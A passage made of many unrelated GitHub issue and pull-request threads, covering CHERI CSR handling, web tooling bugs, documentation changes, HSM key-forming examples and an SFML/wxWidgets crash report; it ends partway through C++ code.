// Return true if this is a CLEN-width CSR.
function is_clen_csr(csr : csreg) -> bool = match csr {
  0x305 => true, // mtvecc
...
  0x416 => true, // ddc
...

  _ => false,
}

// Write a capability CSR (is_clen_csr(csr) is true) with a Capability.
function write_clen_csr(csr : csreg, value : Capability) -> unit = {
  let stripTag = boundsMalformed(value) | permsMalformed(value) | not(capReservedValid(value));
  let value = { value with tag = value.tag & not(stripTag) };
  let res : Capability = match csr {
    0x305 => {set_mtvecc(value); mtvecc},
...
    0x416 => {set_ddc(value); ddc},
...
    _ => internal_error(__FILE__, __LINE__, "write_clen_csr for XLEN CSR; this should not be possible"),
  };
}

// Write a capability CSR (is_clen_csr(csr) is true) with xlenbits.
function write_clen_csr_with_xlen(csr : csreg, value : xlenbits) -> unit = {
  let res : Capability = match csr {
    0x305 => {set_mtvec(value); mtvecc},
...
    0x416 => {set_ddc_xlen(value); ddc},
...
    _ => internal_error(__FILE__, __LINE__, "write_clen_csr_with_xlen for XLEN CSR; this should not be possible"),
  };
}

// Read a capability CSR (is_clen_csr(csr) is true) returning the entire capability.
function read_clen_csr(csr : csreg) -> Capability = match csr {
...
  0x305 => mtvecc,
...
  0x416 => ddc,
...
  _ => internal_error(__FILE__, __LINE__, "read_clen_csr for XLEN CSR; this should not be possible"),
}

// execute(CSR) body was moved into separate functions so it can be overridden for CHERI -ed

// Handle CSR ops for CHERI. This special cases CLEN-width CSRs and delegates
// all other CSRs to the default non-CHERI handler.
function handle_csr_op(csr, rs1, rd, is_imm, op, isWrite, isRead) =
  if is_clen_csr(csr) then {
    // Reads of CLEN registers are always CLEN.
    let csr_val = if isRead then read_clen_csr(csr) else zero_reg;
    if isWrite then {
      // The only way to write metadata is with `csrrw` in CapPtrMode mode.
      // Note `op == CSRRW` means `csrrw` or` csrrwi` which is why why also
      // check `not(is_imm)`.
      if effective_cheri_mode() == CapPtrMode & op == CSRRW & not(is_imm) then {
        write_clen_csr(csr, C(rs1));
      } else {
        let rs1_val : xlenbits = if is_imm then zero_extend(rs1) else X(rs1);
        let new_val : xlenbits = match op {
          CSRRW => rs1_val,
          CSRRS => csr_val.address | rs1_val,
          CSRRC => csr_val.address & ~(rs1_val)
        };
        write_clen_csr_with_xlen(csr, new_val);
      };
    };
    if effective_cheri_mode() == CapPtrMode then {
      C(rd) = csr_val;
    } else {
      X(rd) = csr_val.address;
    };
    RETIRE_SUCCESS
    // Original code for existing CSRs.
  } else default_handle_csr_op(csr, rs1, rd, is_imm, op, isWrite, isRead)

That's making it mode-dependent like the others?

@jrtc27 : Changed such that, on new CSRs, CSRRW always does CLEN access and everything else (CSRRWI, CSRRS, CSRRC, etc) does CLEN read and XLEN write. Does this match your expectation?

Yes, that does. Thanks.

That's making it mode-dependent like the others?

Ah you're right.


Re-order site list

Hi there,
I had a little search but couldn't see any relevant issues so I'd thought I'd create one. It would be great to be able to re-order the list of sites. I added a subdomain before adding the root domain and it just feels wrong to me but I don't want to lose my existing data by deleting and re-adding them. I'm guessing there'll be a workaround manually modifying the DB right? I have yet to connect but any pointers would be great
If I can find some time, I might dig around the codebase and put in a PR for a proper UI if it's wanted.

Are you talking about the list of sites on the dashboard page or the settings page?

I assumed they were both linked but the dashboard was my main priority

+1 on this. It would be nice if it was possible to choose how to order sites on the dashboard.
For example, I have several sites that receive very little traffic, so I'd like to have the most visited sites at the top, especially since some of my sites end up being truncated into "More"

Somewhat related... would love to the ability to sort not only manually but (and more likely used by myself at least) by number of visitors for example so that my less-popular sites are at the bottom of the list keeping my most-visited sites above the "load more" section on the first page.

Fixed in v1.37.0.


https://wiki.developer.mozilla.org/en-US/docs/MDN/Feedback

Request type

[ ] Please close this issue, I accidentally submitted it without adding any details
[ ] New documentation
[X] Correction or update

Details

Hi,
For this page, in English version, there's an example with explanation but not in the french one.
Could you fix it please ?
Many thanks
Kind Regards

https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/innerText

Apologies, but we don't have the bandwidth to maintain translations; you are more than welcome to edit the page yourself.


[BUG] email violation error in journey/triggeredSend after deploy

Is there an existing issue for this?

[X] I have searched the existing issues

Current Behavior
Not sure what's wrong but validat8ng the journey failed until I went to the respective email, opened the edit content Mode and saved once.
Expected Behavior
Duh
Steps To Reproduce

Go to '...'
Click on '....'
Run '...'
See error...

Version
6.0.2
Environment

OS:
Node:
npm:

Participation

[X] I am willing to submit a pull request for this issue.

Additional comments
No response

Looks like this is no longer an issue


javascript backend: human readable translation

This idea comes from Alexander Tsepkov (creator of RapydScript).
The transpiled output to JavaScript can be made more human readable by using unicode variable names for special builtin functions.  For example the python builtin abs could be transpiled to 𝑨𝒃𝒔𝒐𝒍𝒖𝒕𝒆 which is from the Mathematical Alphanumeric Symbols section of the unicode standard.  This also solves the problem of naming collisions with the users own variable names, and global names from external javascript libraries.  This removes the need to have messy prefixes like underscore and $.  It even makes python's shorthand names even more clear when transpiled, for example: len can become 𝑳𝒆𝒏𝒈𝒕𝒉

Google Chrome has some issues with unicode display in the js console, hopefully this gets fixed soon:
https://code.google.com/p/chromium/issues/detail?id=520521
nodejs also has some issues with unicode:
https://github.com/joyent/node/issues/25854

@hartsantler kindly refer to this issue as well in the converged repo:  https://github.com/nodejs/node/issues/2371
If I may comment on the use case though, please consider:

Intent: the characters such as 𝑨 are meant as  individual mathematical symbols. Yes, it looks like an italicized and bolded A, (and is  sometimes used as such) but it really isn't.
Accessibility: a screen reader for visually impaired humans might not (I have a generic question out on this) read the text the same way as Absolute.
Selection/UX: Notwithstanding, note that searching for Absolute won't find 𝑨𝒃𝒔𝒐𝒍𝒖𝒕𝒆. The code points are not related, though visually similar, any more than B would match В (one of those being actually a Cyrillic (such as Russian) letter).
Display and interchange: Eventually, all systems should have fonts that can display all code points in all scripts. For now, not all users may have these characters.

Please consider these as friendly comments of a general Unicode nature. I don't know the details of the use case, but an environment with markup, or rule based syntax highlighting may be a better way to achieve the goals. It does seem to be an interesting exercise in some form of Literate Programming though.

@srl295 , thanks pointing those things out, i had considered some but not all of those issues.  You can see the details of the use case here:
https://github.com/rusthon/Rusthon/wiki/JavaScript-Unicode-Literate-Output

intent: i realize they are math symbols, but who says they can not be used to spell out words?
accessibility is improved for the visually impaired, because they can see more emphasis put on certain words whereas their text editor may only do syntax highlighting.  I myself am visually impaired, and i find it much easier to read in this format.  For completely blind programmers that require a screen reader... well, your right this will cause some problems; however, in theory screen readers could be adapted to read these special forms of mathematical alphanumeric's with special emphasis.
selection/UX: the plan is to develop a custom IDE and debugger, so this issue will go away.
display and interchange: the fonts coverage is pretty good on linux, i dont know about OSX, but my guess is there are absolutely zero Rusthon users using legacy systems like WindowsXP.  And even if they were, they can always install some system fonts, so its not an issue.

sublime text, my favorite editor has unicode UTF-16 problems to, oh no!
https://github.com/SublimeTextIssues/Core/issues/964

@hartsantler

intent: but who is to say they can not be used to spell out words?
See the link to the Unicode standard above - http://www.unicode.org/versions/Unicode7.0.0/ch22.pdf for example
Despite its name, U+2118  script capital p is neither script nor capital—it is uniquely the Weierstrass elliptic function symbol derived from a calligraphic  lowercase p

For example, 𝑨 is meant to be used in plain text when you are referring to a variable named 𝑨 - not A, but 𝑨. These are letterlike symbols, not letters. Under "Words used as Variables" the standard recommends using markup (boldface etc) on words rather than individual symbols.

accessibility: a screen reader should read 𝑨 as something more akin to "Mathematical symbol bold uppercase A"

selection/UX:  If you have a custom IDE, you might consider just choosing alternate fonts as part of your syntax highlighting.  Or, the transpiler could inject markup (HTML or xml) .. or Unicode private use characters (U+E800..U+F8FF) to annotate certain things for display.. and then strip out the private use characters for compiling/interpreting.

Hope this helps.

@srl295 , again i must ask, who is to say these characters can not be used to spell out words?    Instead it will be switched on with --literate-unicode


passing options to the webpack compiler?

I'm not seeing any way to pass additional options to the webpack compiler.  Not even something as common as using the UglifyJSPlugin.
Because of this, the resultant file is not minified or optimized in any way and is very large.  Am I missing something or have you just not added these capabilities yet?

Why would you use UglifyJSPlugin in development?
All this does is extend the functionality of Webpacks existing DLL functionality which is limited to development & exists for the purpose of reducing rebuild cycle times.
It's unrelated to any other plugins, less the injection via html-webpack-plugin.

Hi @dlong500,
In the context of a production build, it does makes a lot of sense.
I plan to merge https://github.com/asfktz/autodll-webpack-plugin/pull/4 tomorrow, after I'll double check it.


Problems with markdown-style strong text

A few experiments:

**p a**: fails (Uncaught TypeError: children.map is not a function)
**f a**: succeeds
**pa**: succeeds
**a**: rendered as bulleted list with string content *a**
Test **p a**: fails (Uncaught TypeError: children.map is not a function)
Test **f a**: succeeds
Test **pa**: succeeds
Test **a**: suceeds (note starting the line with not * lets it know it's not a list)

In particular, the problem with the letter p is a bit surprising. I haven't tried all letters exhaustively yet. 😄

This should be fixed in v1.3.1 via https://github.com/idyll-lang/idyll-compiler/commit/0e62942db7e398f0949f4cc1f7dda494c5247dff


Add Blazor docs on externally invoking component methods to update state.

Added a simple example and explanation of how you can update state externally and what InvokeAsync is used for and why.

Fixes #13935

A few style notes for the update: No gerunds (*-ing words) in titles and section headings unless the word is a technology name (e.g., "logging," "hosting," etc.), and our doc style rarely uses prompts (questions). I recommend imperative tone. See if my update broke the meaning tho. 💥🙈

Excellent! :+1:

Does the ...
// Can be called from anywhere

... code comment go with Notify or with the whole Update method? If Update, I recommend moving it up above the method.

Goes with the Update, i'll move it up

Merge it whenever ur ready (idk if you want further engineering :eyes: on it).

Ya gonna wait for @rynowak / @pranavkm or @SteveSandersonMS to approve given that it's a new section in the sacred component doc 😄

Yes! A Microsoft keyboard must be sacrificed to appease the :pray: server gods :pray: before merging.

@rynowak / @pranavkm or @SteveSandersonMS  short review please.

@NTaylorMullen do you expect to make further changes here?

@danroth27 This is one for the staging branch. Not sure it's status. :point_up:

@danroth27 Look good to :shipit:? This is the last PR for the staging branch, and we can go live right after this goes in and I rebase.


Fix version

Frakti v0.2 has been already released, but its version number is still old. This PR updates frakti version to 0.2.
Fixes #163.

This change is

cc @resouer


yield in Model

There is a way to yielding in model?
I create command which start bot in my app like this
      this.info('Bot is starting...')
      Bot.init();

Then i have some nested function init() -> watch() -> check() in check i want to check for Redis cache to make better performance than checking evry time in database. So here my question:
There is a way to yield for example Redis to get value from cache? If not (I think isn't posible) how to make command to use some Controller (command insantly call Controller to use)?

Can u share some code and context on where you want to start the bot?

Im using this package: https://docs.tmijs.org/
But the problem is that i have some standard code:
    this.client = new tmi.client(this.config);
    // Connect the client to the server..
    this.client.connect();

    this.client.on("roomstate", function* (channel) {
      Bot.watch(channel);
    });

In watch function i have:
    this.client.on("chat", function (channel, userstate, message, self) {
          [...]
          Redis.set(username, 'test');
          Redis.get(channel);
    }

But i can;t yield Redis fundtion in function() {} callback. But using promise fro me isnt working.

You can wrap your commands inside co https://npmjs.org/package/co
co(function * () {
  yield Redis.set()
}).then().catch()

Closing since actionable and no updates from the issue reporter too


Create issue templates

Closes #296

If the bug is related to a particular issue, the user should provide the original, and maybe the output (unless output totally failed). Github's drag and drop is good enough for this.

I can’t quite follow 😂 Do you want me to add something specific to the template? (Also, don’t hold back of just adding to the PR).
I would like to get this merged so the incoming issues fill this out :)

Added a line about original/output image update. I'm gonna merge it 😄


Remove WebSocket actions

The WebSocket actions in the mattermost-redux repo were only used by the mobile app previously, so since the mobile app no longer uses mattermost-redux, they can be removed to stop people from being confused about where changes to websocket code need to be made.
I also removed the mattermost-redux version of the handling of new posts since it was also unused in the web app, and I need to make some changes to it to fix a race condition (https://mattermost.atlassian.net/browse/MM-25452)

Skipping QA review since it's just dead code removal


Timeout while entering passphrase

Apparently, both Firefox and Chrome/Chromium have a timeout while waiting for the response of the native app. Entering your GPG passphrase during that timeout is almost impossible if you have a reasonably long one.
I haven't found any way of working around that yet (but I have no clue about web extensions, so that doesn't necessarily mean anything).

I also have the problem that it not possible to enter the passphrase fast enough.
I don't have much experience with browser extensions either, but it seems that browserpass needs to use chrome.runtime.connectNative to avoid timeouts (for Chrome/Chromium at least), i.e.:

If using chrome.runtime.sendNativeMessage, the native app will be around right after receiving and before sending the message. Since reception of the message is asynchronous, you cannot assume that the app is still alive when the callback of sendNativeMessage is called.
If you want to ensure that the native app stays around longer, use chrome.runtime.connectNative. This creates a port, and the native app will be alive until it exits or until the extension calls disconnect() on the port. If your app unexpectedly terminates early, then you have most likely made an error in the implementation of the native messaging protocol.
For the exact format of the native messaging protocol, take a look at the documentation: https://developer.chrome.com/extensions/nativeMessaging#native-messaging-host-protocol

Source: http://stackoverflow.com/a/31517513/183605

I cannot reproduce this, I let GPG passphrase prompt hang for 5 minutes, then enter my passphrase, and browserpass successfully proceeds with filling in the form.
Also, we decided against using persistent connection to the host app via connectNative, we want to keep browserpass stateless.
If you still experience this issue, try to investigate the issue a bit more, maybe the problem is not with timeouts. If it is, one workaround I could think of is to configure default-cache-ttl and maximum-cache-ttl to larger values in gpg-agent.conf and unlock your GPG in terminal prior using browserpass.
Closing because we are not planning to switch to using connectNative, but if anyone has new findings or workarounds, please share.

Just a random idea, maybe what you meant is that GPG prompt itself disappears before you manage to enter the passphrase? If this is the case, it's not a browserpass issue, simply set pinentry-timeout 86400 in your gpg-agent.conf.


allow setting cache-control headers

I needed+added a way to optionally set cache-control headers for all the assets.

Note: this is merged into https://github.com/dropwizard-bundles/dropwizard-configurable-assets-bundle


fix jre tag

Fixes:
Related:
Pre-review Checklist

[ ] IMPORTANT: 'image-request' tag has been applied if this PR is adding any images, including new versions or variants

For new image PRs only
If you have an apko.yaml file in this PR you need to follow this checklist, otherwise feel free to remove.

[ ]  Image is marked experimental or stable as appropriate

[ ]  The last two minor versions are available

[ ]  The latest tag points to the newest stable version

[ ]  There is a dev tag available that includes a shell and apk tools (by depending on 'wolfi-base')

[ ]  The image runs as nonroot and GID/UID are set to 65532

[ ]  Alternatively the username and GID/UID may be a commonly used one from the ecosystem e.g: postgres
[ ]  See above for exceptions to nonroot rule

[ ]  ENTRYPOINT

[ ]  For applications/servers/utilities call main program with no arguments e.g. [redis-server]
[ ]  For base images leave empty
[ ]  For dev variants set to entrypoint script that falls back to system

[ ]  CMD:

[ ]  For server applications give arguments to start in daemon mode (may be empty)
[ ]  For utilities/tooling bring up help e.g. –help
[ ]  For base images with a shell, call it e.g. [/bin/sh]

[ ]  Consider where and how the image deviates from popular alternatives. Is there a good reason and is it documented?

[ ]  Add annotations e.g:
  annotations:
    "org.opencontainers.image.authors": "Chainguard Team https://www.chainguard.dev/"
    "org.opencontainers.image.url": https://edu.chainguard.dev/chainguard/chainguard-images/reference/busybox/ #use the academy site here
    "org.opencontainers.image.source": https://github.com/chainguard-images/images/tree/main/images/bazel #use github here

[ ]  Check if environment variables are needed e.g. to set data locations

[ ]  Ensure the image responds to SIGTERM

[ ]   docker kill $(docker run -d --rm cgr.dev/chainguard/nginx)

[ ]  Documentation. Let's make this excellent. Include usage example.

[ ]  Error logs write to stderr and normal logs to stdout. DO NOT write to file.

[ ]  Include tests, at the very least a basic smoke test.
PTAL @rawlingsj

Great catch - thanks @developer-guy !


Support auto checkout of trial resourcegroup

for users hitting getting-started view if they dont already have one. Once a trial RG  has been assigned they will be forwarded to the create experience

Ping !

@ahmelsayed can you look through this? Thanks!

I don't see a call to the backend controller anywhere. How is the resource actually created? or does this PR not address that yet?

There was already a controller api/createtrial defined that gets called from functions.service.ts .
that api calls the resourcecheckout API in SimpleWAWS / TryAppservice


Setting text color when overriding palette for Button

I'm using a Button like this:
<Button palette="primary">test</Button>

I'm overrriding the primary palette color successfully with this code:
theme = {
  palette: {
    primary: '#4182c3'
  }
};

The text color gets converted though to #000000 at the same time, from being #ffffff before my override.
What's the mechanism changing the text color here?
Is the text color for a specific palette color possible to define?

Hey!
Yes, that behaviour is expected as fannypack chooses the best color to match with the background color to meet AA accessibility requirements.
If you want to ignore this and override it though, you can set ‘primaryInverted’ to the color you wish.

Thanks, that's brilliant! 👌
Just a quick note though. I'm admittedly not knowledgeable in the field, but spontaneously I'd say that the second renders a higher degree of contrast than the first button.

Hmm, weird, it may look like that, but chrome devtools disagrees!


Allow template "fake" tags for non-string field

I was trying hard to use fake:"{number:1:4}" in a int field in order to generate a number between 1 and for, and even tough I am still not sure about the exact syntax for multiple arguments for a function in a template string, I found that only strings fields will have the template applied.

fake:"{number:1,4}" you can also use regex. Ill be adding a couple more example in the struct example function. Hope this helps

No it does not work for int fields.
package main

import (
	"fmt"

	"github.com/brianvoe/gofakeit/v5"
)

type MyStruct struct {
	Number int `fake:"{number:1:4}"`
}

func main() {
	var s MyStruct
	fmt.Println("Number (before)", s.Number)
	gofakeit.Struct(&s)
	fmt.Println("Number", s.Number)
}

Execution:
Number (before) 0
Number -548706813772622257

It seems that for non-string values the template is not being used.

You are currently correct on this. It is on my list to utilize lookup functions to make sure they can assign to struct value types.

Fixed. Will go out in the next version


CI: Introduce piuparts on Debian to reduce deb package regression

Not to make deb package regression such as https://github.com/fluent-plugins-nursery/td-agent-builder/issues/145  , it is useful to introduce piuparts.
ref. https://wiki.debian.org/piuparts

contents of package should be tested via #163

Done by #164


Added clang-format and formatted

This clang format does its best to recreate your style, but i thought it
would be best to have the code beautified so it's easy to bring code to
be inline with it

I merged the checkbox before merging beautifier (and radio) and now they are conflicting. I'm sorry I should've asked about merging order. Do you care to merge them and update the pull requests?

sorry, my bad, they should both go in fine now


Prevent users from navigating away from important views

User Story
When opening a channel, paying someone or depositing into a channel we're blocking the UI and wait for meta mask transactions to be confirmed. In those processes we tell the user to not close the browser:

If the user navigates away from these screens we can get illegal states, e.g. payments getting "stuck" etc.
This could be prevented by showing an additional dialog through the beforeunload event
Browsers have a built in dialog for this, but we could also implement our own if necessary.
Acceptance criteria

[ ] beforeunload event listener is added when a critical screen begins
[ ] beforeunload event listener is removed when a critical screen ends
[ ] User has to confirm a dialog when moving away from critical screens

No illegal state can be triggered by apps using the SDK, everything there is stateful, atomic and incremental. The SDK should support even reloading mid-transfer or alike, and catch up when messages/events are retried/received/etc. Signature prompts are done directly with Metamask and doesn't depend on dApp intermediation, so they're going to pop up even if the dApp was reloaded and don't know about the previous transient state it was on.
But for UX, it is userful to have these guards in place, so the user knows they shouldn't walk away when something is happening, they may not come back on time and expect it to have worked.
[Pending] transfers [history] dropdown/counter can be related to it.

If I leave a page and 10mins later a random meta mask transaction pops up asking me to sign stuff I don't know then it's pretty weird.
Also declining/ignoring transactions left me in the last couple of days in a state where I was not able to do new transactions anymore without waiting for them to expire which is pretty bad for users and developers alike IMO

I know it's bad for UX and I agree. #237 is all about avoiding this. My point is that, hopefully, SDK doesn't get on actually invalid state, or else this can led to costs to the user or bigger problems. So far, by your description, the state didn't become invalid, but the bad UX is related to communication issues and the long delays associated with locks & timeouts we can't do much to avoid as per protocol. We must implement this issue, but also investigate on how to avoid these roadbumps even if the user ignores and e.g. reload or exits the app.

Make sure user cannot leave browser/tab or leave route:

When opening a channel
When there is a pending transfer
Deposit
When pfs has been payed for

Looks like this has been implemented now. At least I often get the message to not close the tab / window.

No, it wasn't. That message is just a warning, it won't try to prevent you from not doing this. This issue is about actually a browser feature to show an alert if the user do try to close window/tab anyway. This was not implemented yet, AFAIK

The alert is shown:


How to reset the timer button

I am using the timer button to request for OTP resending.
After the timer has come to 0 and the user presses the 'Resend OTP', is there a way to restart the timer counting again

@MartinMbae @ajaynonstopio  created a pull request to add feature.

Thanks, @gerald-tetteh. Part of 1.0.2


Version 1.12.1 (0)

Avoid duplicates

[x] Bug is not mentioned in the FAQ
[x] Bug is not already reported in another issue

Technical details

Device name: iPhone 11
iOS Version:14.4
App Version: 1.12.1(0)

Describe the bug

hello. This is similar as 1715 that you closed a week ago.
I have the following error messsge on 1.12.1(0)
see screenshot
Steps to reproduce the issue

I just start the app
-->
Expected behaviour

Possible Fix

Additional context

hello. This is similar as 1715 that you closed a week ago.
I have the following error messsge on 1.12.1(0)
see screenshot

Hey @stefan-123456
As you can see in #1715 and also if you click on "Mehr Erfahren" in the pop-up, you can ignore this message. It will be gone after 24h.

Thanks Tim. This is not a normal behavior (error-13) though and if known since exactly 2 months (anything special since to happen on the 18th) it should be fixed

@stefan-123456
This is a rare case that can happen in the version 2 of the Exposure Notification Framework, the API used by Corona-Warn-App.
There is sadly nothing the developers can do about it...

@stefan-123456
Did you update from a version below 1.9 (like 1.5/1.6/etc.) to 1.12?

Hello Tim. No, updates on my iPhone are automatic so I believe it updated from the previous version.

Hi Tim. I fixed it. I pressed the “diagnose in corona warn app Teilen and it now works 🤔

@stefan-123456
Okay, as Said before this is a rare case this can happen sometimes. AFAIK the devs can't do anything about it.
If you're happy with the answer please close this issue. Thanks!

@stefan-123456 Thanks for reporting.
@Ein-Tim Thanks for assisting.
Most probably, as stated by @Ein-Tim, this happened in the context of a CWA update. It is not critical and should go back to normal after 24 h on its own.


Implement Equals for ApcBoundInterfaceState

Saves a lot on bandwidth. Also made it round to the nearest 5.

Saves a lot on bandwidth. Also made it round to the nearest 5.

How does this change save bandwidth?

Saves a lot on bandwidth. Also made it round to the nearest 5.

How does this change save bandwidth?

Server not dirtying = saving bandwidth.


Review of Brett's Discourse account

Hey @jpitts -- Brett @DBrettRobertson has his account locked on the Discourse forum:

He needs his account unlocked.

Thank you Boris et al. the account is now unlocked. Appreciate your help.


Can't input Chinese punctuation in Terminal ipython

Windows Terminal version (or Windows build number)
Microsoft Windows [版本 10.0.19042.928]
Windows Terminal 版本: 1.7.1033.0
Other Software
ipython 7.21.0 (inside powershell/cmd)
python 3.7.9
Steps to reproduce
Inside Terminal

Open powershell or cmd in Windows Terminal
type(or paste) some Chinese punctuation, everything OK
Open ipython
type(or paste) some Chinese punctuation （ex ，。、；）,  input failed, nothing shows.
type some Chinese characters (ex 微软), input OK, the characters show.

Without Windows Terminal

Open powershell or cmd directly
Open ipython
type(or paste) some Chinese punctuation, everything OK

Expected Behavior
can input Chinese punctuation in Terminal+ipython
Actual Behavior
cannot input Chinese punctuation in Terminal+ipython

I installed Terminal-preview(1.8.1032.0) from Microsoft Store.
It's not fixed, cannot input Chinese punctuation in Terminal-powershell-ipython

This is fixed in 1.9-preview. See #9052.


Sort Support for feign pagination for 2.x.x

PageJacksonModule doesn't support for sort operations. It will serialize and deserialize sort object for spring.

@cbezmen Please add info to documentation as @ryanjbaxter has suggested here. It should be added to spring-cloud-openfeign.adoc, in AsciiDoc format.

Ah, this is specific to sorting, not just paging correct?

Yes, It's just for serialize and deserialize Sort object. Paging (page, size.. etc.) already done by other developer. (https://github.com/spring-cloud/spring-cloud-openfeign/pull/103)


Slide definitions are case sensitive

Just FYI, was having problems chasing down a bug in my slide definitions. It turns out I had a capital Z rather than lowercase z. Don't know if it's across all types and if it also applies to x&y. This was type: text

Need to verify, test and fix.
From: https://groups.google.com/forum/#!topic/mpf-users/BwWvmHx4E7c

also reference #164 and #190


Examples

Should examples be madatory for keys functions? A good vignette may be sufficient.

Not mandatory for now.

Aren't they checked by CRAN?They're also easier to look at than vignettes, because they appear directly within the help / documentation. I think they should be highly recommended.

Examples and vignettes are indeed checked by CRAN (and locally using R CMD CHECK or the Wickham's flavored R-CMD-CHECK in devtools package). So let's say we HAVE TO provide example.


Generate the ZMK from the components example

In the example you indicate usage of X  (XOR components). I believe if X is used you need to use the clear keys output from the GC commands. In the example you are using the encrypted components to form the key, so instead of the X I think it should be an E (encrypted components and XOR).
As an example
Encrypt a clear key of 09's to get Encrypted component and check digits.
EC
Key Type: 000
Key Scheme: U
Enter component:<PHONE_NUMBER>0909090909090909090909
Encrypted Component: U 0A26 760B D078 7102 6B67 02C5 F9BA 25B3
Key check value: D6A8 75

Now do a form key from encrypted components (3 components of the same type are used to fool it into using one component as XOR'ing something odd number of times will result in the original value)
FK
Key length [1,2,3]: 2
Key Type: 000
Key Scheme: U
Component type [X,H,E,S]: E
Enter number of components (2-9): 3
Enter component #1: U0A26760BD07871026B6702C5F9BA25B3
Enter component #2: U0A26760BD07871026B6702C5F9BA25B3
Enter component #3: U0A26760BD07871026B6702C5F9BA25B3
Encrypted key: U 0A26 760B D078 7102 6B67 02C5 F9BA 25B3
Key check value: D6A8 75

As expected the encrypted value is the same as the output of the EC command.
Now try a form key from components using clear keys and xor
FK
Key length [1,2,3]: 2
Key Type: 000
Key Scheme: U
Component type [X,H,E,S]: X
Enter number of components (2-9): 3
Enter component #1:<PHONE_NUMBER>0909090909090909090909
Enter component #2:<PHONE_NUMBER>0909090909090909090909
Enter component #3:<PHONE_NUMBER>0909090909090909090909
Encrypted key: U 0A26 760B D078 7102 6B67 02C5 F9BA 25B3
Key check value: D6A8 75

Again the output is as expected and matches the the output of the EC command.
Now if we try FK with X (xor clear components ) but use encrypted values of the EC command. The key generated is incorrect.
FK
Key length [1,2,3]: 2
Key Type: 000
Key Scheme: U
Component type [X,H,E,S]: X
Enter number of components (2-9): 3
Enter component #1: 0A26760BD07871026B6702C5F9BA25B3
Enter component #2: 0A26760BD07871026B6702C5F9BA25B3
Enter component #3: 0A26760BD07871026B6702C5F9BA25B3
Encrypted key: U B0CC 7DDD EA0A 8867 A640 CE3E E7AC 1301
Key check value: 80DD 96

Incorrect value due to mismatch of X and encrypted value.

@lacisjur do you have a view on this?

@snowch Issue seems right. changing Component type [X,H,E,S]: X to E in 'Generate the ZMK from the components' example should fix that.

Cool - @gunvantk, I've added you as a collaborator on this project.  Do you want to go ahead and make the change?

Sure. I'll do that. Also I'm planning to add PIN translation example in near future.

@mchhil thanks for reporting
@gunvantk thanks for fixing

@gunvantk I'm looking forward to seeing your pin translation examples too!


lints: add Notice level lint for EE ECDSA KeyUsages.

RFC 5480 Section 3 "Key Usage Bits" indicates that end-entity certificates using a EC public key MAY include the digitalSignature, nonRepudiation, and keyAgreement Key Usages.
If such a certificate contains other Key Usages the new n_ecdsa_ee_invalid_ku lint will return a Notice level LintResult indicating the unexpected Key Usage bits that were included. Depending on the adoption of a clarification document and respective CABF BR updates it may be possible to increase the severity of this LintResult in the future. See https://github.com/zmap/zlint/issues/291 for more background discussion.
There are probably similar lints that could be written to add related coverage for other key types and KUs. I only had time to implement this more narrowly scoped lint this week but would be available to review follow-up PRs from other contributors.
Resolves https://github.com/zmap/zlint/issues/291

Thanks for the reviews!


Reverse each word given in a string

Reverse each word given in a string.
Ex:
INPUT: I like to work on this issue
OUTPUT:  issue this on work to like I
Can I work on this issue for hackoctober?

@lekha06  Go ahead :)
follow me for more updates -https://github.com/avinash201199


Move documentation from extension to core (#357)

Pull request opened by the merge tool on behalf of #357

Merged in 34e647aa2b439b2a84e895c0ee6bb9b7e41bee17


why not parsing this image ?

Hi,

I'm trying to parse this image, I get below result.
,4]. Lo“ ‘ V
r‘gln ,jgj
my code is here
                TesseractEngine ocr = new TesseractEngine(Path.Combine(Environment.CurrentDirectory, "tessdata"), "eng");                 var text1 = ocr.Process(Pix.LoadFromFile("ss1.png"), PageSegMode.Auto).GetText();

perhaps you want to convert image to Black & White, and potentially invert colors so text is in black on white.


Crash when strings in JSON doesn't close

Reported by Ξи here

:tada: This issue has been resolved in version 3.0.8 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Unexpected keyword download

@amansrivastava17  While running encoder with download keyword getting an error as shown above

@Saichethan from pip version >= 2.0.0 you don't need to pass the download param

@amansrivastava17 thanks that solved my current error, but I'm interested in XLNET so is this issue solved (https://github.com/amansrivastava17/embedding-as-service/issues/45)


Crash after closing wxWidgets with SFML-window

*System specification are as follow...
macOS Mojave -> Mac OS X 10.14.2
wxWidgets 3.1.2 -> --with-osx_cocoa --with-macosx-version-min=10.14 --with-macosx=MacOSX10.14.sdk
SFML 2.5.1 -> macOS OS X 10.7+, compatible with C++11 and libc++
The following code snippet, shown below, comes from a GitHub project that you can find at this link https://gist.github.com/eriknelson/e4ccf32534eb3d25a1ea. Please give Eriknelson credit for his SFML 2.3+ into wxWidgets 3.0 integration demo. This demo is not prefect but it only has one flaw. The application crashes after closing the wxWidgets window.
#include <iostream>
#include <wx/wx.h>
#include <memory>
#include <SFML/Graphics.hpp>

#ifdef __WXGTK__
#include <gdk/gdkx.h>
#include <gtk/gtk.h>
#endif

using namespace std;

static const int kDefaultWindowWidth = 1280;
static const int kDefaultWindowHeight = 720;
static const int kCanvasMargin = 0;

struct wxSfmlCanvas : public wxControl, public sf::RenderWindow
{
  wxSfmlCanvas(
    wxWindow *parent = nullptr,
    wxWindowID windowId = -1,
    const wxPoint &position = wxDefaultPosition,
    const wxSize &size = wxDefaultSize,
    long style = 0) :
  wxControl(parent, windowId, position, size, style)
  {
    createRenderWindow();
  }

  virtual void onUpdate(){};

  void onIdle(wxIdleEvent& event)
  {
    // Send a paint message when control is idle, to ensure max framerate
    Refresh();
  }

  void onPaint(wxPaintEvent& event)
  {
    wxPaintDC dc(this);     // Prepare control to be repainted
    onUpdate();             // Tick update
    display();              // Draw
  }

  // Explicitly overriding prevents wxWidgets from drawing, which could result in flicker
  void onEraseBackground(wxEraseEvent& event){}

  void createRenderWindow()
  {
#ifdef __WXGTK__
    // gtk_widget_realize(m_wxwindow);
    // gtk_widget_set_double_buffered(m_wxwindow, false);

    // GdkWindow *gdkWindow = gtk_widget_get_window((GtkWidget*)GetHandle());
    // XFlush(GDK_WINDOW_XDISPLAY(gdkWindow));

    // sf::RenderWindow::create(GDK_WINDOW_XWINDOW(gdkWindow));
#else
    sf::RenderWindow::create(GetHandle());
#endif
  }

  void setwxWindowSize(const wxSize& size)
  {
    this->SetSize(size);
  }

  void setRenderWindowSize(const sf::Vector2u& size)
  {
    this->setSize(size);
  }

  virtual ~wxSfmlCanvas(){};

wxDECLARE_EVENT_TABLE();
};

struct Canvas : public wxSfmlCanvas
{
  Canvas(
    wxWindow* parent,
    wxWindowID id,
    wxPoint position,
    wxSize size,
    long style = 0) :
  wxSfmlCanvas(parent, id, position, size, style)
